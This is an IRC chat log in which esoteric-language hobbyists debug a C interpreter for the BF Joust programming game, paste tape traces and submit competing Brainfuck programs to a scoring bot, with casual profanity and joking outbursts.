17:42:30 <elliott> Gregor: Shut the fuck up.
17:42:38 <elliott> I'm working on fixing the bug now.
17:42:38 <Gregor> ^^
17:43:05 <elliott> It would help if the bug made any sense at all.
17:43:25 <elliott> OK, vague theory
17:43:38 <elliott> ais523_: for (a;b;c) { ... goto foo; ... foo: ; }
17:43:42 <ais523_> one thing I don't get is why poking works so well
17:43:47 <elliott> ais523_: When foo is gone-to, does the for header still work?
17:43:51 <elliott> i.e. does c, and then checks b and breaks
17:43:52 <ais523_> elliott: yes
17:43:59 <ais523_> also, why don't you say continue; rather than use that goto?
17:44:06 <elliott> ais523_: That's nice. If only it demonstrated such behaviour.
17:44:09 <ais523_> it'd be a lot clearer
17:44:10 <elliott> Also, that's a very good question/
17:44:12 <elliott> *question.
17:44:17 <elliott> It's actually
17:44:20 <elliott> for (...) {
17:44:25 <elliott> switch (...) {
17:44:29 <elliott> ... goto foo; ...
17:44:31 <ais523_> I think you're looking for your bug in the wrong place
17:44:31 <elliott> }
17:44:32 <elliott> something;
17:44:33 <elliott> foo: ;
17:44:34 <elliott> }
17:44:41 <ais523_> and continue; inside a switch will look for a loop outside it
17:44:45 <elliott> indeed
17:44:49 <elliott> ais523_: I've verified that the parser works perfectly
17:45:00 <ais523_> (whereas break breaks from the switch, in a nicely evil bit of asymmetry)
17:45:02 <elliott> and the bug is really odd
17:45:05 <ais523_> elliott: why don't you step through it in a debugger?
17:45:10 <elliott> you know that program where it should beat it consistently
17:45:12 <elliott> but with normal polarity
17:45:14 <elliott> on tape length 30
17:45:16 <elliott> it was the wrong way?
17:45:21 <elliott> well, i compared the trace to egojsout
17:45:38 <elliott> in egojsout, it moved right 9 times, then started taking two cycles to advance
17:45:42 <elliott> in mine, it moved right *10* times
17:45:42 <elliott> BUT
17:45:44 <fizzie> ais523_: It would be even worse if "continue" did 're-run' the switch by re-running the test and brancing again.
17:45:48 <elliott> i've verified that ()* has no off-by-one
17:45:50 <elliott> >_<
17:45:54 <elliott> and loop cycle timing looks perfect
17:46:00 <ais523_> fizzie: haha, I suppose that would be the orthogonal semantics
17:46:11 <ais523_> elliott: check to see if (>)*9 works the same way as >>>>>>>>>
17:46:20 <ais523_> that would at least help you pin down where the bug was
17:46:34 -!- impomatic has joined.
17:46:38 <ais523_> fizzie: also, those semantics for continue in switch would be really nice for state machines
17:46:46 <impomatic> Hi :-)
17:47:13 <elliott> 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <80 -- >0, <29
17:47:14 <elliott> 80 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 80 -- >1, <28
17:47:14 <elliott> 80 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 80 -- >2, <27
17:47:14 <elliott> 80 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 80 -- >3, <26
17:47:18 <elliott> 80 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 80 -- >4, <25
17:47:21 <elliott> 80 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 80 -- >5, <24
17:47:24 <elliott> 80 00 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 00 80 -- >6, <23
17:47:27 <elliott> 80 00 00 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 00 00 80 -- >7, <22
17:47:29 <ais523_> hi impomatic
17:47:30 <elliott> 80 00 00 00 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 00 00 00 80 -- >8, <21
17:47:30 <Gregor> Yay flooding...
17:47:33 <elliott> 80 00 00 00 00 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 00 00 00 00 80 -- >9, <20
17:47:35 <ais523_> I'm at work, but I have a fun new program to test out when I get home
17:47:36 <elliott> 80 00 00 00 00 00 00 00 00 >00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 00 00 00 00 80 -- >9, <20
17:47:39 <elliott> ais523_: Looks right to me.
17:47:40 <ais523_> which should be relatively soon
17:47:41 <elliott> Sorry for flood.
17:48:04 <elliott> case LOOP:
17:48:04 <elliott> if (!saves[prog]) {
17:48:04 <elliott> progs[prog] = progs[prog]->jmp;
17:48:04 <elliott> continue;
17:48:04 <elliott> }
17:48:05 <elliott> break;
17:48:07 <elliott> case POOL:
17:48:09 <elliott> if (saves[prog]) {
17:48:11 <elliott> progs[prog] = progs[prog]->jmp;
17:48:13 <elliott> continue;
17:48:15 <elliott> }
17:48:19 <elliott> break;
17:48:21 <elliott> I'm pretty sure this takes one less cycle than it should or something...
17:48:23 <elliott> (the continue advances the: for (int prog=0; prog<2; prog++) loop)
17:48:31 <ais523_> you have a separate counter at the ( and the )?
17:48:41 <elliott> ais523_: that's [ and ]
17:48:45 <elliott> not ( and )
17:48:46 <ais523_> oh, right
17:49:07 <elliott> case PARE:
17:49:08 <elliott> if (progs[prog]->arg == 0)
17:49:08 <elliott> progs[prog] = progs[prog]->jmp;
17:49:08 <elliott> else {
17:49:08 <elliott> repeatstk[++repeatstki] = progs[prog]->arg;
17:49:08 <elliott> progs[prog]++;
17:49:10 <elliott> }
17:49:12 <elliott> goto rego;
17:49:13 <ais523_> I take it ->jmp is the square after the matching square bracket, in each case?
17:49:14 <elliott> case ERAP:
17:49:18 <elliott> if (--repeatstk[repeatstki] == 0) {
17:49:20 <elliott> repeatstki--;
17:49:22 <elliott> progs[prog]++;
17:49:24 <elliott> } else
17:49:26 <elliott> progs[prog] = progs[prog]->jmp;
17:49:28 <elliott> goto rego;
17:49:30 <elliott> that's ( and ) ({}-less version)
17:49:32 <elliott> ais523_: yep
17:49:34 <elliott> rego runs the current program again
17:49:36 <elliott> /without/ advancing the IP
17:49:38 <elliott> (it just points to the start of the for loop _body_)
17:49:57 <ais523_> also, ()*0-style comments seem broken in egojoust, so I haven't been using them
17:50:01 <ais523_> I'm trying to write portable programs atm
17:50:12 <Sgeo> How are they broken?
17:50:12 <elliott> ais523_: they are, yes, but they work in lance :)
17:50:28 <elliott> Sgeo: they do weird things
17:50:37 <ais523_> (I assume (((((()*2)*2)*2)*2)*2)*2 is valid in lance, if a little redundant; egojoust seems to be more efficient on that sort of repetition, and I don't know why)
17:50:59 <elliott> ais523_: yep, that's valid in lance
17:51:17 <Sgeo> By efficient, you mean duels faster, not actually executing the program differently, right?
17:51:17 <ais523_> definder uses that for its reverse tripwire loop
17:51:21 <Sgeo> As in, processes
17:51:26 <ais523_> and they're improved reverse tripwires, as they don't use the value 1
17:51:50 <Sgeo> I want a list of BF Joust strategies
17:51:50 <ais523_> thus dodging them is basically impossible without tuning your program so closely to definer2 that it loses to everything else
17:51:54 <ais523_> Sgeo: yep, I mean it runs faste
17:51:58 <ais523_> *faster
17:52:07 <ais523_> and loads of people want one of those, and several people are thinking about compiling one
17:52:14 <ais523_> I'd do it myself if I wasn't so busy
17:52:37 * Sgeo wants to make a neural net that writes BF Joust programs
17:52:39 <elliott> ais523_: there's a wiki page for them
17:52:41 <Gregor> HEY GUYS REMEMBER THAT LIST OF BF JOUST STRATEGIES I STARTED? Add your favorite.
17:52:42 <elliott> Sgeo: NEURAL NETS ARE USELESS FOR THIS
17:52:49 <Sgeo> elliott, how so?
17:52:50 <elliott> stop talking about using neural nets for it, it doesn't make any sense
17:52:52 <Gregor> Yeah, neural nets are wildly useless for this.
17:52:55 <elliott> neural nets have nothing to do with this at all
17:52:57 <ais523_> ah, I haven't looked at the wiki for a while
17:52:58 <elliott> nothing
17:53:07 <elliott> ais523_: the page is rather sparse because we're all too lazy to edit it :)
17:53:18 <Sgeo> Humans certainly seem to do decently
17:53:31 <elliott> ...................
17:53:38 <Gregor> The brain is not a neural net.
17:53:42 <elliott> New heights of stupidity have been reached in this channel.
17:54:57 <elliott> I imagine Sgeo read the Wikipedia article [[neural nets]] yesterday or something.
17:55:06 <Sgeo> No, I didn't.
17:55:27 <Sgeo> ....I read about neural nets many years ago in a Kurzweil book >.>
17:55:57 <Sgeo> Too many years ago perhaps
17:56:50 <Gregor> elliott: CODE
17:57:01 <Sgeo> Gregor, typo code?
17:57:07 <impomatic> Oh. Nice page :-) http://esolangs.org/wiki/BF_Joust_strategies
17:57:10 <elliott> Gregor: Only if you promise to not laugh at how ugly the code is :P
17:57:28 <impomatic> I was making a list but it looks like you beat me to it :-)
17:57:48 <Gregor> elliott: Oh I'll laugh.
17:57:55 <Gregor> impomatic: Then IMPROVE the list.
17:58:19 <elliott> Gregor: I'm going to have to require you to promise that you won't REPURPOSE this code for EGOJOUST 2.
17:58:37 <Gregor> If I were to write egojoust 2, I would just rewrite egojsout in C.
17:58:53 <Sgeo> !bfjoust foil_dumb_clears ->+>-
17:59:21 <elliott> Gregor: You know what, I'ma consult egojsout's code to fix this :P
17:59:41 <elliott> Whoops look at that, I scrolled past a big block of license text without reading it.
17:59:48 <elliott> Guess I din't agree to anything.
18:00:20 <EgoBot> Score for Sgeo_foil_dumb_clears: 0.0
18:00:50 <elliott> Gregor: You know what's great? My code is like, identical to yours!
18:00:52 <elliott> But still broken!
18:01:08 <Gregor> I know you didn't use a while (meta) loop :P
18:01:20 <elliott> What IS that :-P
18:01:27 <elliott> Oh, your replacement of gotos.
18:01:31 <Gregor> No gotos in JS :P
18:01:37 <Sgeo> Is EgoBot deceased?
18:01:44 <Sgeo> Oh
18:01:45 <Sgeo> Dub
18:01:46 <ais523_> well, I added a few more strategies
18:01:47 <Sgeo> *Duh
18:01:54 <ais523_> but I have to go home now
18:02:01 <elliott> bye ais523_
18:02:02 <Sgeo> ais523_, bye
18:02:05 <ais523_> I'll do more later
18:02:05 <Gregor> !echo It's only a flesh wound!
18:02:05 <EgoBot> It's only a flesh wound!
18:02:12 * elliott wonders wtf start.cbend is.
18:02:14 -!- ais523_ has quit (Quit: Page closed).
18:02:35 <Gregor> elliott: The ending curly-brace within that paren-set.
18:02:48 <elliott> Oh, right. I don't do curly-braces right now because SOMETHING IS BROKEN
18:03:20 <Sgeo> Are there any currently viable lock programs?
18:03:40 <Deewiant> The complicated ones, like ais's long defends and space_elevator
18:04:25 <Gregor> elliott: CODE
18:04:27 <elliott> Gregor: Erm. Don't you skip the first instruction in a () pair? You increment the program counter unconditionally.
18:04:36 <elliott> Or does the matching thing point to the [, not what's after it?
18:04:38 <elliott> (Same for ()
18:04:40 <elliott> *())
18:05:11 <Gregor> elliott: The PC at entry to the () is the '(', not the first instruction.
18:05:27 <elliott> Gregor: But wherever ) jumps back to, is the (, not the instruction after it, right?
18:05:34 <Gregor> Yes.
18:05:41 <elliott> Maybe I'll try that :P
18:06:24 <Gregor> ( carries all the data for that loop, {}) only carry the location of (, and all jumps are directly to the location of the matching character, not after it (it just increments afterwards)
18:07:06 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-]][(-)*9[+]])*20>(.-)*10000
18:07:12 <EgoBot> Score for Deewiant_maglev: 40.0
18:07:22 <Deewiant> !bfjoust maglev -(>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*30(>)*7(>[(+)*9[-]])*20>(.-)*10000
18:07:27 <EgoBot> Score for Deewiant_maglev: 40.1
18:07:34 <elliott> $ ./lance '(>+>-)*4(>[(-)*9[+]])*21' '>>>>>>>>(>[-[++[---]]])*21'
18:07:34 <elliott> Sieve: >>>>>>>>>>>>>>>>>>><<
18:07:34 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>>>
18:07:36 <elliott> s i g h
18:07:50 <Gregor> elliott: CODE CODE CODE CODE CODE CODE CODE CODE CODE
18:07:54 <elliott> Gregor: Maybe your storing of the loop count in the ( is what makes it work :P
18:07:57 <elliott> ...in fact, I think it is.
18:08:04 <Deewiant> monorail and speedy2?
18:08:08 <elliott> ...no, it's not.
18:08:09 <Gregor> elliott: It certainly made my life fucktons easier.
18:08:22 <Gregor> elliott: But a stack should work the same.
18:08:25 <elliott> int repeatstk[MAXCYCLES], repeatstki = -1;
18:08:25 <elliott> case PARE:
18:08:25 <elliott> if (progs[prog]->arg == 0)
18:08:25 <elliott> progs[prog] = progs[prog]->jmp;
18:08:25 <elliott> else
18:08:26 <elliott> repeatstk[++repeatstki] = progs[prog]->arg;
18:08:27 <elliott> goto rego;
18:08:29 <elliott> case ERAP:
18:08:32 <elliott> if (--repeatstk[repeatstki] == 0)
18:08:33 <elliott> repeatstki--;
18:08:35 <elliott> else
18:08:37 <elliott> progs[prog] = progs[prog]->jmp;
18:08:39 <elliott> goto rego;
18:08:42 <elliott> Yeah, I don't see why that shouldn't work :P
18:09:09 <elliott> I've figured it out.
18:09:11 <elliott> It's gremlins.
18:09:25 <impomatic> !bfjoust spacedust (>)*8(>([+{[(-)*10[-]]}])%9)*21
18:09:31 <EgoBot> Score for impomatic_spacedust: 18.1
18:10:15 <impomatic> !bfjoust spacedecoy >(+)*10>(-)*10(>)*6(>([+{[(-)*10[-]]}])%9)*21
18:10:24 <EgoBot> Score for impomatic_spacedecoy: 24.1
18:10:54 <elliott> impomatic: Trying to beat the 'vator? :P
18:11:08 <Gregor> elliott: Maybe the issue is in the parsing somewhere, and ->arg is wonr
18:11:11 <Gregor> ... that's right. wonr.
18:11:20 <elliott> Gregor: Nope, I specifically printed out the two specific parse trees.
18:11:26 <elliott> Gregor: The parsing is right, the args are right.
18:11:30 <impomatic> !bfjoust spacetime >(+)*8>(-)*6(>)*6(>([+{[(-)*5[-]]}])%4)*21
18:11:42 <impomatic> elliott: 'vator?
18:11:43 <EgoBot> Score for impomatic_spacetime: 18.6
18:11:49 <elliott> impomatic: space_elevator
18:12:03 <elliott> impomatic: The 38 kilobyte program at the top of the hill.
18:12:17 <Gregor> elliott: Damn it, NEED MORE CODE
18:12:43 <elliott> Gregor: Lemme take one more shot at fixing this first :P
18:12:47 <Gregor> X_X
18:13:38 <Sgeo> "opponent found. back off fast and build a big decoy"
18:13:41 <impomatic> elliott: naming coincidence... Will take a look at space_elevator :-)
18:13:45 <Sgeo> How can it know it found the opponent?
18:13:49 <elliott> impomatic: Prepare for crazy.
18:14:01 <Gregor> Sgeo: Nonzero cell
18:14:12 <Sgeo> Hm
18:14:35 <elliott> [0x1602140] [ (arg=0, jmp=0x1602160)
18:14:35 <elliott> [0x1602150] + (arg=0, jmp=(nil))
18:14:35 <elliott> [0x1602160] ] (arg=0, jmp=0x1602140)
18:14:41 <elliott> Parse tree's lookin' all right...
18:14:50 <Sgeo> lol how does it determine how large the tape is?
18:14:53 <Deewiant> !bfjoust berserk (>)*9((-)*128>)*20(-)*128[(-)*9[+]]
18:15:02 <EgoBot> Score for Deewiant_berserk: 0.0
18:15:09 <Gregor> Deewiant: Excellent.
18:15:15 <Deewiant> Expected.
18:15:23 <elliott> :D
18:15:24 -!- SimonRC has quit (Ping timeout: 255 seconds).
18:15:33 <elliott> !bfjoust
18:15:33 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
18:15:34 <Deewiant> (-)*128 isn't exactly a winning strategy.
18:16:32 <Deewiant> !bfjoust berserk (>)*8(>(-)*128[(-)*9[+]])*21
18:16:44 <Sgeo> Gregor, I know how you could halve running time
18:16:54 <EgoBot> Score for Deewiant_berserk: 4.9
18:16:59 <Gregor> Sgeo: If you say half the polarities I WILL SHOOT YOU
18:17:09 <Sgeo> =P
18:17:14 <Sgeo> May I ask why you won't do that?
18:17:17 <iconmaster> Half the polarities?
18:17:29 <Sgeo> iconmaster, EgoBot runs ++ +- -+ --
18:17:44 <Deewiant> Hmm, 4/4/34 against space_elevator, more than expected
18:17:54 * iconmaster wonders why gregor hasnt shot me yet
18:18:02 <elliott> Gregor: egojsout is... incredibly... bugged.
18:18:07 <elliott> Tape length 30
18:18:08 <elliott> 0: ⚑ 80 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 80 ⚑
18:18:08 <elliott> 1: ⚑ 80 >01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 80 ⚑
18:18:08 <elliott> 2: ⚑ 80 01 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 80 ⚑
18:18:09 <elliott> 3: ⚑ 80 01 >FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 80 ⚑
18:18:19 <elliott> Gregor: Programs do not start on the cell > their flag.
18:18:20 <elliott> Ever.
18:18:24 <elliott> program 1: (>+>-)*4(>[(-)*9[+]])*21
18:18:25 <elliott> program 2: >>>>>>>>(>[-[++[---]]])*21
18:18:34 <Gregor> elliott: It never shows the first state, because the first state is boring.
18:18:40 -!- GreaseMonkey has joined.
18:18:41 <Sgeo> Gregor, in all the runs, has breakdown ever shown ++ and -- to not be equiv, or +- and -+ to not be equiv?
18:18:42 <Gregor> elliott: That's AFTER the given cycle.
18:18:44 <elliott> Gregor: >_<
18:19:15 <Gregor> Sgeo: I KNOW THEY'RE FUCKING EQUIVALENT SHUT THE FUCK UP STOP TELLING ME THIS EVERYONE OR I WILL KILL EVERY GOD DAMN PERSON IN THIS CHANNEL WITH FIRE ARGH
18:19:16 <Sgeo> elliott, can you explain why Gregor won't halve the polarties?
18:19:17 <Deewiant> !bfjoust unsure (>)*8(>(-)*10[(-)*9[-]])*21
18:19:35 <EgoBot> Score for Deewiant_unsure: 5.5
18:19:58 <Gregor> Basically egojoust is to die, so I'm not touching it.
18:20:02 <Gregor> But lance isn't up to snuff yet.
18:20:05 <Gregor> So there ya go.
18:20:16 <Sgeo> @ok
18:20:17 <lambdabot> Maybe you meant: . ? @ ask bf do ft id pl rc v wn yow
18:20:29 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*9[-]]>)*10
18:20:36 <Gregor> We should start the flags at 127 JUST to make them nonequivalent :P
18:20:53 <EgoBot> Score for Deewiant_skippy: 1.0
18:21:26 <elliott> Gregor: According to lance, these two programs start all
18:21:30 <elliott> >80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <80
18:21:30 <elliott> >80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 80
18:21:30 <elliott> 80 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 80
18:21:30 <elliott> 80 >01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 80
18:21:33 <elliott> 80 01 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 80
18:21:36 <elliott> But according to egojsout, it's all
18:21:40 <elliott> >80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <80
18:21:41 <elliott> 80 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 80
18:21:44 <elliott> 80 >01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 80
18:21:49 <elliott> 80 01 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 80
18:21:52 <Gregor> So you've got a false noop or something.
18:21:52 <elliott> 80 01 >FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 80
18:21:54 <Gregor> TOO BAD WE CAN'T SEE THE CODE.
18:21:55 <elliott> 80 01 FF >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <00 00 00 00 00 80
18:21:58 <elliott> (First line added by me.)
18:22:00 <elliott> (To be the initial state.)
18:22:02 <elliott> Something like that, yup.
18:22:04 <elliott> Gregor: THAT'S TOO BAD INDEED
18:22:11 <elliott> I'm going to release it under the General Public Except For Gregor Richards License.
18:22:13 -!- SimonRC has joined.
18:22:20 <Gregor> elliott: NON-FREE
18:22:28 <elliott> Anyone can read, modify and redistribute the code so long as it is under the GPEFGRL, apart from Gregor Richards.
18:22:31 <Gregor> elliott: CHINESE DISSIDENT PROBLEM IF I WERE A CHINESE DISSIDENT
18:22:39 <elliott> Gregor: wat
18:22:42 <elliott> :D
18:22:44 -!- fizzie` has joined.
18:23:00 <Deewiant> !bfjoust skippy (>)*8(>(+)*10[(-)*9[-]]>)*10
18:23:12 <EgoBot> Score for Deewiant_skippy: 1.7
18:23:19 <elliott> Perhaps my ( takes a cycle.
18:23:35 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*9[+]]>)*10
18:23:53 <EgoBot> Score for Deewiant_skippy: 1.0
18:23:57 <elliott> Yah, that seems likely.
18:24:18 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*22[-]]>)*10
18:24:31 <EgoBot> Score for Deewiant_skippy: 1.0
18:24:35 -!- pikhq_ has left (?).
18:24:41 -!- pikhq_ has joined.
18:24:49 <pikhq_> What the fucking hell was that?
18:25:06 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*22[-]]>)*5(>(+)*10[(+)*22[+]]>)*5
18:25:13 <elliott> Sieve: >>>>>>>>>>>>>>>>>>>>>
18:25:13 <elliott> Kettle: >>>>>>>>>>>>>>>>>>>><
18:25:13 <elliott> Right wins (40)
18:25:16 -!- fizzie has quit (Ping timeout: 276 seconds).
18:25:19 <elliott> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRGHHHHHHHHHHHHHHHH
18:25:22 <EgoBot> Score for Deewiant_skippy: 1.0
18:25:30 <pikhq_> irssi was convinced that this was irc://irc.esper.net/esoteric
18:25:47 -!- pikhq_ has changed nick to pikhq.
18:25:49 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*22[-]]>>(+)*10[(+)*22[+]]>)*5
18:26:00 <EgoBot> Score for Deewiant_skippy: 1.0
18:26:10 <pikhq> And yes, it *was* actually sending stuff to irc.esper.net.
18:26:42 <Deewiant> !bfjoust skippy (>)*8(>(-)*10[(-)*22[-]]>>(+)*10[(+)*22[+]]>)*5[[-]]
18:26:53 <EgoBot> Score for Deewiant_skippy: 1.2
18:27:53 <Deewiant> !bfjoust delirium (>)*8(>(-+-)*10[(-)*22[-]]>>(+-+)*10[(+)*22[+]]>)*5(-)*10[(-)*22[-]]
18:28:06 <EgoBot> Score for Deewiant_delirium: 1.4
18:28:46 <Deewiant> !bfjoust delirium (>)*8(>(-.-)*5[(-)*22[-]]>)*10(-)*10[(-)*22[-]]
18:28:58 <EgoBot> Score for Deewiant_delirium: 1.3
18:29:14 <Gregor> elliott: CODE CODE CODE CODE CODE CODE CODE CODE CODE
18:29:37 <elliott> Gregor: Okay, fine. But. Can I convince you to make egojsout capable of printing out a trace without the cycle count, and without the flag stuff?
18:29:45 <elliott> I dun wanna manually transform the two entire runs to diff them >_<
18:30:13 <Gregor> Why without the cycle count? Just output your own cycle count :P
18:30:22 <Gregor> I can understand not outputting Unicode flags :P
18:30:24 <elliott> Gregor: Without the flag then :P
18:30:32 <Deewiant> One run of sed shouldn't be a problem :-P
18:30:46 <elliott> Yeah, but it's two runs of not being lazy.
18:30:50 <Gregor> elliott: CODE FIRST
18:34:35 <Deewiant> !bfjoust delirium (>)*8(>[(-)*2[+]]>)*10[+[--[+++]]]
18:34:52 <EgoBot> Score for Deewiant_delirium: 4.8
18:35:32 <Deewiant> !bfjoust delirium (>)*8(>[(-)*2[+]]+>)*10[+[--[+++]]]
18:35:43 <EgoBot> Score for Deewiant_delirium: 2.4
18:36:23 <Deewiant> !bfjoust delirium (>)*8(>[(-)*2[+]]+)*21
18:36:33 <EgoBot> Score for Deewiant_delirium: 11.7
18:37:10 -!- GreaseMonkey has quit (Quit: The Other Game).
18:37:16 <Deewiant> !bfjoust delirium <
18:37:20 <EgoBot> Score for Deewiant_delirium: 0.0
18:43:38 <Sgeo> How much stuff would break with 127 as a flag instead of 128?
18:43:53 <Sgeo> We'd need new names for the 4 polarities
18:47:08 <elliott> +[ tripwire tripped! the opponent is working on our flag! 111 cycles into program. opponent cannot have reduced flag by more than 47. wait 98 and start 2-cycle defend
18:47:14 <elliott> quintopia: BEEP BEEP "." IN COMMENT
18:47:21 <elliott> <-[ tripwire tripped! the opponent is working on our flag! 111 cycles into program. opponent cannot have reduced flag by more than 47. wait 98 and start 2-cycle defend
18:47:21 <elliott> MOAR
18:48:02 <Deewiant> I'm more annoyed by the "tripewire" comments
18:48:12 <elliott> Tripe wire :D
18:49:03 -!- fizzie` has changed nick to fizzie.
18:49:47 -!- zzo38 has joined.
18:50:59 -!- zzo38 has set topic: This topic message is upsidedown. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
18:51:57 <Gregor> Whoah, when you read it upside-down it makes perfect sense D-8
19:00:51 <zzo38> Did you know that TeXnicard can now convert DVI+GF to PBM correctly? I even made a file with the TeX logo and it works.
19:01:24 <impomatic> umopepisdn si ebassew?
19:01:30 <impomatic> I don't get it :-(
19:02:51 -!- sebbu has joined.
19:05:13 <elliott> Gregor: So are we ditching ()% and making it be ()* for everything or what?
19:05:26 <elliott> I think I kinda like the aesthetics of %...
19:05:28 <Gregor> * and % are equivalent
19:06:32 <quintopia> elliott: thanks. i doubt removing them will change anything.
19:06:38 <elliott> Gregor: I'm kinda tempted to make the distinction, i.e. make (a{b}c)*n invalid, if only because %n looks kinda nice.
19:06:55 <elliott> Gregor: And also because, theoretically, someone might want to make an exponential program :P
19:07:13 <quintopia> impomatic: 6 is a better upside-down g
19:07:13 <Gregor> elliott: I couldn't care less if you make the distinction or not :P
19:07:30 <quintopia> impomatic: a is a better upside-down e
19:07:35 -!- SimonRC has quit (Ping timeout: 255 seconds).
19:07:37 <elliott> Gregor: When do we get diabetic_philip? Or did you make that?
19:07:53 <Gregor> elliott: 'twas a faillol
19:08:15 <zzo38> Can you invent Underload with continuations?
19:08:17 -!- zeotrope has quit (Ping timeout: 240 seconds).
19:09:19 <impomatic> umopapisdn si a6essaw?
19:10:23 -!- ais523 has joined.
19:12:15 <elliott> hi ais523
19:12:23 <quintopia> impomatic: put at the beginning and you've got it
19:12:24 <ais523> hi
19:12:45 <elliott> ais523: good news: the Lance Bug is fixed
19:12:51 <elliott> and I'm finishing off my {}% implementation now
19:12:51 <ais523> what was causing it?
19:12:52 <Gregor> THANKS TO ME
19:12:59 <Gregor> Off-by-one error.
19:12:59 <elliott> ais523: One () stack for both programs.
19:13:04 <Gregor> Namely, off by one stack.
19:13:05 <ais523> haha, that's subtle
19:13:06 <elliott> :D
19:13:10 <Gregor> The number of stacks was off by one.
19:13:21 <quintopia> elliott: time until completion?
19:13:22 <ais523> I don't think that falls into any category of common error
19:13:25 <ais523> although my students do it occasionally
19:13:29 <ais523> confusing global and local state, perhaps?
19:13:36 <elliott> quintopia: not long at all until lance.c is complete; report.c tweaking will take a short while
19:14:03 <elliott> Weeding out the invalid programs on the hill will take a few minutes, shoving it all into EgoBot will take like 15.
19:14:11 <elliott> It should be done tonight.
19:14:45 <ais523> !bfjoust definder http://sprunge.us/LdAT
19:14:48 <ais523> !bfjoust definder2 http://sprunge.us/IBDL
19:14:49 <ais523> let's go!
19:15:10 <EgoBot> Score for ais523_definder: 26.5
19:15:14 <elliott> lmao
19:15:19 <ais523> expected
19:15:29 <ais523> definder has known losses to two strategies common on the hill
19:15:30 <elliott> ais523: oh, does definder2 make definer get a better score or something? :P
19:15:32 <elliott> right
19:15:34 <elliott> which strategies?
19:15:34 <elliott> poke?
19:15:36 <elliott> and?
19:15:40 <EgoBot> Score for ais523_definder2: 41.0
19:15:50 <ais523> definder : definder2 :: defend12 : defend13
19:15:58 <elliott> 41.0; not bad
19:16:05 <elliott> wow, the hill has really exploded lately
19:16:07 <ais523> and defence and careless
19:16:13 <elliott> defend13, I think, started it
19:16:20 <elliott> programs are very smart now
19:16:27 <elliott> hmm, double_tripwire_avoider is #2 now
19:16:31 <ais523> also, how did EgoBot do that so fast? my local testing took half an hour
19:16:45 <elliott> Dunno.
19:17:00 <Gregor> It took you a half hour just to run that against all the other programs?
19:17:05 <ais523> yep
19:17:13 <elliott> Deewiant: monorail is at the bottom.
19:17:14 <ais523> I think because I'm using a one-run version of egojoust
19:17:22 <ais523> so it has to parse the program again for every tape length and polarity
19:17:22 <elliott> egojoust _is_ one-run
19:17:25 <elliott> oh
19:17:33 <Deewiant> elliott: I know.
19:17:43 <elliott> Deewiant: Gonna save it? :P
19:17:56 <elliott> I can't believe rushpolarity, wiggle3, slowrush... are all still on the hill.
19:18:00 <elliott> Those programs are real tough.
19:18:11 <elliott> IIRC rushpolarity is just a polarity-flipped version of one of myndzi's :P
19:18:12 <ais523> definder2 beats wiggle3, defensively
19:18:21 <ais523> and without exploiting its detection
19:18:25 <Deewiant> maglev's the improved version, there's not much worth saving in monorail
19:18:47 <Deewiant> If you meant saving a copy of the code: it's so short that I remember it by heart :-P
19:18:48 <Sgeo> How can a polarity-flipped version of anything beat out the original on the hill?
